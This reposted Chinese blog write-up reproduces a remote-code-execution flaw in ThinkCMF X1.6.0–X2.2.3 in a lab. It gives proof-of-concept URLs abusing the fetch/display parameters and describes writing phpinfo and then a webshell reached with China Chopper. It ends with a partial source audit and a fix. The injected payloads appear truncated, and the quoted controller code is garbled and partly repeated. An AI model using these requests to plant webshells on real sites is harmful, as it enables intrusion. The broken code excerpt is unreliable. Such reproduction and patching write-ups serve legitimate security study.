转载 ThinkCMF_X1.6.0-X2.2.3框架任意内容包含漏洞的简单分析复现(附自动化验证脚本)

1.漏洞概述

攻击者可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的

2.影响版本

ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1(我用的是这个)
ThinkCMF X2.2.2
ThinkCMF X2.2.3

3.安装

赋予权限

image

4.安装系统

转载 ThinkCMF_X1.6.0-X2.2.3框架任意内容包含漏洞的简单分析复现(附自动化验证脚本)_第1张图片
image
转载 ThinkCMF_X1.6.0-X2.2.3框架任意内容包含漏洞的简单分析复现(附自动化验证脚本)_第2张图片
image
转载 ThinkCMF_X1.6.0-X2.2.3框架任意内容包含漏洞的简单分析复现(附自动化验证脚本)_第3张图片
image
转载 ThinkCMF_X1.6.0-X2.2.3框架任意内容包含漏洞的简单分析复现(附自动化验证脚本)_第4张图片
image
image

安装成功进入主页

  • Poc
/?a=display&templateFile=README.md
 
/?a=fetch&templateFile=public/index&prefix=''&content=');?>
  • 测试

Poc1:

http://192.168.2.135/thinkcmf-X2.2.1//?a=display&templateFile=README.md

转载 ThinkCMF_X1.6.0-X2.2.3框架任意内容包含漏洞的简单分析复现(附自动化验证脚本)_第5张图片
image

POC2:

http://192.168.2.135/thinkcmf-X2.2.1/?a=fetch&templateFile=public/index&prefix=''&content=');?>

转载 ThinkCMF_X1.6.0-X2.2.3框架任意内容包含漏洞的简单分析复现(附自动化验证脚本)_第6张图片
image

查看info.php

没有写入成功,干脆看看源代码吧

转载 ThinkCMF_X1.6.0-X2.2.3框架任意内容包含漏洞的简单分析复现(附自动化验证脚本)_第7张图片
image

这里提出了错误信息意思是,没有写入权限

[2] file_put_contents(info.php): failed to open stream: Permission denied /var/www/html/thinkcmf-X2.2.1/data/runtime/Cache/Portal/''2539f066e2972ad12f670857ed0f6b3d.php 第 1 行.

  1. 简单审计

在这个目录下面/var/www/html/thinkcmf-X2.2.1/data/runtime/Cache/Portal

生成了一个临时文件

image

打开查看

image

');?>
后面检查了一下发现是权限分发的问题

切换到cms目录下赋予所有文件可读可写可执行权限

chmod –R 777 *
重新执行POC2

可以看到已经写入成功,这里执行了phpinfo

转载 ThinkCMF_X1.6.0-X2.2.3框架任意内容包含漏洞的简单分析复现(附自动化验证脚本)_第8张图片
image
  • 提权操作

Payload:
/?a=fetch&templateFile=``public``/index&prefix=``''``&content='``);?>
前面既然可以写入phpinfo,自然也可以写入恶意代码

转载 ThinkCMF_X1.6.0-X2.2.3框架任意内容包含漏洞的简单分析复现(附自动化验证脚本)_第9张图片
image

没有显示错误,代表写入成功,访问一下,并连接一下试试

转载 ThinkCMF_X1.6.0-X2.2.3框架任意内容包含漏洞的简单分析复现(附自动化验证脚本)_第10张图片
image

手动连接

转载 ThinkCMF_X1.6.0-X2.2.3框架任意内容包含漏洞的简单分析复现(附自动化验证脚本)_第11张图片
image

列出文件(assert好像手工不太好使,emmmm)

还是上菜刀

转载 ThinkCMF_X1.6.0-X2.2.3框架任意内容包含漏洞的简单分析复现(附自动化验证脚本)_第12张图片
image
  • 源代码审计

通过index.php可以发现,项目入口是application/,切换目录过去

image

根据poc盲猜控制器IndexController.class.php

转载 ThinkCMF_X1.6.0-X2.2.3框架任意内容包含漏洞的简单分析复现(附自动化验证脚本)_第13张图片
image

空荡荡的,就一个index方法,这里继承的是父类HomebaseController,切出去看看作为程序入口,使用public是比较危险的,public是公有方法任何人都可以调用,并且这里是可以操控的,因此这里可能就是一个漏洞点(修补的话,把public改为protected)

转载 ThinkCMF_X1.6.0-X2.2.3框架任意内容包含漏洞的简单分析复现(附自动化验证脚本)_第14张图片
image

路径找到了,/application/Common/Controller/
转载 ThinkCMF_X1.6.0-X2.2.3框架任意内容包含漏洞的简单分析复现(附自动化验证脚本)_第15张图片
image

直接搜索fecth
转载 ThinkCMF_X1.6.0-X2.2.3框架任意内容包含漏洞的简单分析复现(附自动化验证脚本)_第16张图片
image

获取输出页面内容

调用内置的模板引擎fetch方法,

@access protected

@param string $templateFile 指定要调用的模板文件

默认为空 由系统自动定位模板文件

@param string $content 模板输出内容

@param string $prefix 模板缓存前缀*

@return string

值得关注的是125行这里

125          */

126         public function fetch(templateFile=′′,content='',$prefix=''){

127             templateFile=empty(content)?this−>parseTemplate(templateFile):'';

128                 return parent::fetch(templateFile,content,$prefix);

129         }

这里fetch函数的三个参数分别对应模板文件,输出内容,模板缓存前缀,而fetch函数的作用是获取页面内容,调用内置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中当key和value可控时便可以形成模板注入。

分析不下去(分析失败。。。。)
这里fetch函数的三个参数分别对应模板文件,输出内容,模板缓存前缀,而fetch函数的作用是获取页面内容,调用内置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中当key和value可控时便可以形成模板注入。

分析不下去(分析失败。。。。)

  • 修复方案

将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected

你可能感兴趣的:(转载 ThinkCMF_X1.6.0-X2.2.3框架任意内容包含漏洞的简单分析复现(附自动化验证脚本))